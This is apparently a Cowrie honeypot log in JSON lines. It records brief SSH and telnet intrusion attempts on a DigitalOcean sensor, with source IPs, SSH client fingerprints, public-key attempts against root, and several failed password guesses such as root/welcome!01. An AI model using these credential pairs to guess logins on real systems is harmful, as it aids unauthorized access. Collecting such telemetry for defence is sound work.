{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:05:44.167748Z","src_ip":"137.59.54.34","session":"c1e2b563ab02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:05:44.376971Z","src_ip":"137.59.54.34","session":"c1e2b563ab02","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:09:18:7e:dd:7f:0f:9d:92:19:8b:f1:65:1f:d0:95","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAN6kFI/xinR1vDRbcplgWgdn7vsksobFa8TIE/y47ylrcVF2XJf2li0FYEkBXo28ZmY1hFBbAgNXXY+nMN+SKDmKdKos++SGCvyjP+apJxUBCMBMlYgeOyS9bFqvh/81NxKqj4t6TKylrLTOvW0zvtBgBA379Z35CEDd/KhNsXpJAAAAFQCnUijcpUGS2YQA6VF74BV2gMFI+wAAAIEAjnrqSRNr3S/kTBH58AMFv7VQvPAN0a7f4DMrWkaEP8kAsxjQ1pcfKAmOSaZtlO2zHekJqsE1APaKltNotnx0QpEY8CsV0Gt5JP+dcMlr9B9YZftA4e7QOFABBZRK7RthUNeBYEBMaNcP1rlVRTQS1EaUDAh2G+BvThw3DDYc+mYAAACAOXPeAL6eFoyM9DtooHQ9egIGffp+3ssjAO5xBj8lnA5JaG1HdCzzelTzNyjfKn9nY19gBLK1uDKcw0zGlorPBIoCF6zXvsQGjoKUUW1fx29LB2mIDrQNUcu+2BKHSxRJrZu24w7dECE3ZGQ33Q08f2lYtuuuWKege+qyFZ7W//0=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint fc:09:18:7e:dd:7f:0f:9d:92:19:8b:f1:65:1f:d0:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:05:45.403525Z","src_ip":"137.59.54.34","session":"c1e2b563ab02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:09:18:7e:dd:7f:0f:9d:92:19:8b:f1:65:1f:d0:95","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAN6kFI/xinR1vDRbcplgWgdn7vsksobFa8TIE/y47ylrcVF2XJf2li0FYEkBXo28ZmY1hFBbAgNXXY+nMN+SKDmKdKos++SGCvyjP+apJxUBCMBMlYgeOyS9bFqvh/81NxKqj4t6TKylrLTOvW0zvtBgBA379Z35CEDd/KhNsXpJAAAAFQCnUijcpUGS2YQA6VF74BV2gMFI+wAAAIEAjnrqSRNr3S/kTBH58AMFv7VQvPAN0a7f4DMrWkaEP8kAsxjQ1pcfKAmOSaZtlO2zHekJqsE1APaKltNotnx0QpEY8CsV0Gt5JP+dcMlr9B9YZftA4e7QOFABBZRK7RthUNeBYEBMaNcP1rlVRTQS1EaUDAh2G+BvThw3DDYc+mYAAACAOXPeAL6eFoyM9DtooHQ9egIGffp+3ssjAO5xBj8lnA5JaG1HdCzzelTzNyjfKn9nY19gBLK1uDKcw0zGlorPBIoCF6zXvsQGjoKUUW1fx29LB2mIDrQNUcu+2BKHSxRJrZu24w7dECE3ZGQ33Q08f2lYtuuuWKege+qyFZ7W//0=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:05:45.405940Z","src_ip":"137.59.54.34","session":"c1e2b563ab02","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:47:e4:cb:2d:f8:73:d8:43:d6:5c:e8:0a:41:64:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA3OUb+yX14gRkqhksectO+W758POYjcxLBuevzPVIaosps2hZbr9APhWx2Mun6jeU4tQoJdPCdR3ofHnwtN6b8kpFUKO3mFkX/7tlCn/yMWcgUb3B1E5qkKopUHFKMrargocnDL/cyRnf5joOAadZZdVNkTueYRMsjHNcWYH24Kjm7BcK6vrdwUu+2qoG0lr1Sdv3yLgPBUnh2HBO8SLKFts0wtL5BvrwS7pcIbIWQRh09lp0+iucqPnPOInIMNwWIbsSDGOswZcPZfy/4C7rhDjjR48jXQkmVo0uhrfuD4Hdkc4QtxiMJ5w4LLbpR0lJE3fEQJmQQEOJfRojOcFoB57iKEn9YGTgSfSyP1RbtfnkFGFBcW/WUycu/feo60L0W8Ji8O5qLZFH/LAW0hedSsQP08nrHp0toKm7O35rTOsDhSsld++CbBLFltACcRbB5AtbQ/cnh12LHZebDhv53m0A0omix/R47XxotSbrpXE/WJgDoEOVwGphjI9C3ZT5TZKYnxk6dcZZWsfkhWxmqwp/ORiMbbfEBrIqLWI15WgkvI+vgQ0hy5uEM/r4a/zCey2TX/JUFsC15+1G4ZgaHfnLDXcl0PuHg6hPmxm5WyWqs19pPd7ZJvapffrTiyspYOzL8Hojnnqg6nuZg9Rj7ViypNMo93w3AH1tbBz7qwE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:47:e4:cb:2d:f8:73:d8:43:d6:5c:e8:0a:41:64:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:05:45.621732Z","src_ip":"137.59.54.34","session":"c1e2b563ab02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:47:e4:cb:2d:f8:73:d8:43:d6:5c:e8:0a:41:64:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA3OUb+yX14gRkqhksectO+W758POYjcxLBuevzPVIaosps2hZbr9APhWx2Mun6jeU4tQoJdPCdR3ofHnwtN6b8kpFUKO3mFkX/7tlCn/yMWcgUb3B1E5qkKopUHFKMrargocnDL/cyRnf5joOAadZZdVNkTueYRMsjHNcWYH24Kjm7BcK6vrdwUu+2qoG0lr1Sdv3yLgPBUnh2HBO8SLKFts0wtL5BvrwS7pcIbIWQRh09lp0+iucqPnPOInIMNwWIbsSDGOswZcPZfy/4C7rhDjjR48jXQkmVo0uhrfuD4Hdkc4QtxiMJ5w4LLbpR0lJE3fEQJmQQEOJfRojOcFoB57iKEn9YGTgSfSyP1RbtfnkFGFBcW/WUycu/feo60L0W8Ji8O5qLZFH/LAW0hedSsQP08nrHp0toKm7O35rTOsDhSsld++CbBLFltACcRbB5AtbQ/cnh12LHZebDhv53m0A0omix/R47XxotSbrpXE/WJgDoEOVwGphjI9C3ZT5TZKYnxk6dcZZWsfkhWxmqwp/ORiMbbfEBrIqLWI15WgkvI+vgQ0hy5uEM/r4a/zCey2TX/JUFsC15+1G4ZgaHfnLDXcl0PuHg6hPmxm5WyWqs19pPd7ZJvapffrTiyspYOzL8Hojnnqg6nuZg9Rj7ViypNMo93w3AH1tbBz7qwE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:05:45.624913Z","src_ip":"137.59.54.34","session":"c1e2b563ab02","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2c:49:0b:60:78:a9:37:82:65:2b:e8:9f:cf:63:21:37","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAImvmzqv5llsSVLZx7Ig3/ZKAT3jrZAkkoa65YUjgGtxAHmGt9lWrIoDUBGZ4jI5KkuArtRKHcvsZXofBXK/IQnmswhNM4/ChwO6mSPzrbHw0eutzZz6Te49PlfkRyIclrlCP+iuvoVxV4YbNyQG0c1vM2jr8GmvSd3AAVWW4ZSvAAAAFQD6P6HQJqDGp80URoW46EXZ0IrD/QAAAIB1qz/KngZfx2aFaqbh3AY2c1EmozjBFHUWwN3RR6R0MIM8NuzHHwtZM3tbOgUbxkhCoRm0ezpsZwDJifY7KnuChZEtXW2EaBuHjwgc6cdlc3o0OMqv/ECRs8SnxeMJb8ziF/KDBhsY2edxzUdHxiia/1A56jO09I+wYcnJl6c6EAAAAIAq24yT/nQoZQYEYa8plPrLCdWNGHEh6fM5RKxMmuYCdqcqu/+Ls1dKPIHyGHcxzVr0NtaM7JWfbVnC6klZ1GoZgsYM7kABS2FaK8UoLaBdU1NrhGPz3rA7Dd+YXjcFonY1D/DsaI8w0yO4IShn3cOgce8by2sVMOyhVgePhVdPUQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 2c:49:0b:60:78:a9:37:82:65:2b:e8:9f:cf:63:21:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:05:45.834341Z","src_ip":"137.59.54.34","session":"c1e2b563ab02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2c:49:0b:60:78:a9:37:82:65:2b:e8:9f:cf:63:21:37","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAImvmzqv5llsSVLZx7Ig3/ZKAT3jrZAkkoa65YUjgGtxAHmGt9lWrIoDUBGZ4jI5KkuArtRKHcvsZXofBXK/IQnmswhNM4/ChwO6mSPzrbHw0eutzZz6Te49PlfkRyIclrlCP+iuvoVxV4YbNyQG0c1vM2jr8GmvSd3AAVWW4ZSvAAAAFQD6P6HQJqDGp80URoW46EXZ0IrD/QAAAIB1qz/KngZfx2aFaqbh3AY2c1EmozjBFHUWwN3RR6R0MIM8NuzHHwtZM3tbOgUbxkhCoRm0ezpsZwDJifY7KnuChZEtXW2EaBuHjwgc6cdlc3o0OMqv/ECRs8SnxeMJb8ziF/KDBhsY2edxzUdHxiia/1A56jO09I+wYcnJl6c6EAAAAIAq24yT/nQoZQYEYa8plPrLCdWNGHEh6fM5RKxMmuYCdqcqu/+Ls1dKPIHyGHcxzVr0NtaM7JWfbVnC6klZ1GoZgsYM7kABS2FaK8UoLaBdU1NrhGPz3rA7Dd+YXjcFonY1D/DsaI8w0yO4IShn3cOgce8by2sVMOyhVgePhVdPUQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:05:45.838020Z","src_ip":"137.59.54.34","session":"c1e2b563ab02","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:76:ad:aa:10:90:e8:86:87:44:db:fc:7e:8c:16:84","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK2ijJXwtq/ryuAMSI/eir7ioPAiO7fsgwy6qpSLMfRt","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint cf:76:ad:aa:10:90:e8:86:87:44:db:fc:7e:8c:16:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:05:46.047920Z","src_ip":"137.59.54.34","session":"c1e2b563ab02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:76:ad:aa:10:90:e8:86:87:44:db:fc:7e:8c:16:84","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK2ijJXwtq/ryuAMSI/eir7ioPAiO7fsgwy6qpSLMfRt","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:05:46.051059Z","src_ip":"137.59.54.34","session":"c1e2b563ab02","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:37:f4:5c:68:45:ed:a7:7a:00:e5:d1:1d:43:ed:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2rcqzSwajbv6W06YJKyBQ2h58maP5Y53etXXDkzLzYjvduss5ZY26TvOdBjeQLPw5uZzhu6qSdAs2eJRpFwsEcA+hXOnIa2R7R9u9xqkv8OJ1eaYxG2SwUwyCxBSIAA421EJBUQmGLp5hLO/O59/NmHKSNzmvw22YIKm8RwZzvNBt2Jiaj9wIa9S6RZmlluVSrnT3pqse9gJNt8kanMwh/3IpHaic11vl8Z2ZWybXGLBvFLjHD8hK6kkmlytDqT3xF8y/Uo2of9zbkJZeRzIGvZlTuT/dcLT9AzPuPVLrsriFwLK0mav5sKzHWaZJ01Sgo+SyUgzb2gv7aEzvZH7EQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:37:f4:5c:68:45:ed:a7:7a:00:e5:d1:1d:43:ed:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:05:46.261741Z","src_ip":"137.59.54.34","session":"c1e2b563ab02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:37:f4:5c:68:45:ed:a7:7a:00:e5:d1:1d:43:ed:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2rcqzSwajbv6W06YJKyBQ2h58maP5Y53etXXDkzLzYjvduss5ZY26TvOdBjeQLPw5uZzhu6qSdAs2eJRpFwsEcA+hXOnIa2R7R9u9xqkv8OJ1eaYxG2SwUwyCxBSIAA421EJBUQmGLp5hLO/O59/NmHKSNzmvw22YIKm8RwZzvNBt2Jiaj9wIa9S6RZmlluVSrnT3pqse9gJNt8kanMwh/3IpHaic11vl8Z2ZWybXGLBvFLjHD8hK6kkmlytDqT3xF8y/Uo2of9zbkJZeRzIGvZlTuT/dcLT9AzPuPVLrsriFwLK0mav5sKzHWaZJ01Sgo+SyUgzb2gv7aEzvZH7EQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:05:46.265344Z","src_ip":"137.59.54.34","session":"c1e2b563ab02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:05:46.475510Z","src_ip":"137.59.54.34","session":"c1e2b563ab02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":37692,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f0420cb4587","protocol":"telnet","message":"New connection: 166.62.124.255:37692 (159.203.135.109:23) [session: 4f0420cb4587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:05:50.837287Z"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":38346,"dst_ip":"159.203.135.109","dst_port":23,"session":"032cd626035f","protocol":"telnet","message":"New connection: 166.62.124.255:38346 (159.203.135.109:23) [session: 032cd626035f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:05:52.775036Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":47890,"dst_ip":"10.17.0.5","dst_port":22,"session":"9dfd2f60e147","protocol":"ssh","message":"New connection: 72.17.34.38:47890 (10.17.0.5:22) [session: 9dfd2f60e147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:05:56.076670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:05:56.082598Z","src_ip":"72.17.34.38","session":"9dfd2f60e147","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:05:56.117164Z","src_ip":"72.17.34.38","session":"9dfd2f60e147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123123","message":"login attempt [hadoop/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:05:56.291964Z","src_ip":"72.17.34.38","session":"9dfd2f60e147","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:05:57.329002Z","src_ip":"72.17.34.38","session":"9dfd2f60e147","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":46918,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca1ff0ea650e","protocol":"ssh","message":"New connection: 27.71.230.31:46918 (159.203.135.109:22) [session: ca1ff0ea650e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:06:07.494528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:06:08.527282Z","src_ip":"27.71.230.31","session":"ca1ff0ea650e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:06:08.531362Z","src_ip":"27.71.230.31","session":"ca1ff0ea650e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome!01","message":"login attempt [root/welcome!01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:06:12.479757Z","src_ip":"27.71.230.31","session":"ca1ff0ea650e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:06:13.914240Z","src_ip":"27.71.230.31","session":"ca1ff0ea650e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":41094,"dst_ip":"10.17.0.5","dst_port":23,"session":"68f9fb4c2dd2","protocol":"telnet","message":"New connection: 94.23.66.112:41094 (10.17.0.5:23) [session: 68f9fb4c2dd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:06:14.196260Z"}
{"eventid":"cowrie.session.closed","duration":31.35892939567566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:06:22.196390Z","src_ip":"166.62.124.255","session":"4f0420cb4587","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36618447303772,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:06:24.141144Z","src_ip":"166.62.124.255","session":"032cd626035f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":49864,"dst_ip":"159.203.135.109","dst_port":22,"session":"919905c39c56","protocol":"ssh","message":"New connection: 103.77.242.62:49864 (159.203.135.109:22) [session: 919905c39c56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:06:25.595225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:06:25.599450Z","src_ip":"103.77.242.62","session":"919905c39c56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:06:25.836827Z","src_ip":"103.77.242.62","session":"919905c39c56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"03021993","message":"login attempt [root/03021993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:06:26.550498Z","src_ip":"103.77.242.62","session":"919905c39c56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:06:27.791667Z","src_ip":"103.77.242.62","session":"919905c39c56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.618164777755737,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:06:36.814312Z","src_ip":"94.23.66.112","session":"68f9fb4c2dd2","protocol":"telnet"}
